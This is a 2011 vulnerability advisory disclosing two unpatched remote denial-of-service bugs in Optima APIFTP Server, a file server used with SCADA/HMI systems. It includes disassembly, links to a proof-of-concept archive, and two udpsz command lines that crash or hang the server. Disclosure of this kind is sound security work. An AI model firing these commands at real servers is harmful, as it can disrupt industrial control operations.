Optima APIFTP Server <= 1.5.2.13 Multiple Vulnerabilities

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                             Luigi Auriemma

Application:  Optima APIFTP Server
              http://www.optimalog.com/home.html
Versions:     <= 1.5.2.13
Platforms:    Windows
Bugs:         A] NULL pointer
              B] endless loop
Exploitation: remote
Date:         13 Nov 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org

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1) Introduction
2) Bugs
3) The Code
4) Fix

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===============
1) Introduction
===============

Optima is a suite of automation software for controlling PLC via
SCADA/HMI interface.
APIFTP Server is a file server for working with remote files located on
shared folders.

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2) Bugs
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A] NULL pointer
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NULL pointer exploitable through too long path names.
The effect is the displaying of a MessageBox with the error and the
continuing of the execution that will lead to a stack exaustion after
some seconds and the termination of the server.

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B] endless loop
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Endless loop with CPU at 100% caused by incomplete packets:

  004A9C93   8B03             /MOV EAX,DWORD PTR DS:[EBX]
  004A9C95   8B80 78010000    |MOV EAX,DWORD PTR DS:[EAX+178]
  004A9C9B   2D B80B0000      |SUB EAX,0BB8     ; Switch (cases BB8..BE0)
  004A9CA0   74 19            |JE SHORT APIFTPSe.004A9CBB
  004A9CA2   83E8 14          |SUB EAX,14
  004A9CA5   74 47            |JE SHORT APIFTPSe.004A9CEE
  004A9CA7   83E8 0A          |SUB EAX,0A
  004A9CAA   0F84 9D000000    |JE APIFTPSe.004A9D4D
  004A9CB0   83E8 0A          |SUB EAX,0A
  004A9CB3   0F84 CA000000    |JE APIFTPSe.004A9D83
  004A9CB9  ^EB D8            |JMP SHORT APIFTPSe.004A9C93

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3) The Code
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http://aluigi.org/testz/udpsz.zip
http://www.exploit-db.com/sploits/18112.zip

A]
  udpsz -C "e803 0400 ff" -T -D -3 -d SERVER 10260 0x107

  wait some seconds, the tool will quit automatically

B]
  udpsz -C "e803 0400 00" -T -D SERVER 10260 -1

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4) Fix
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No fix.

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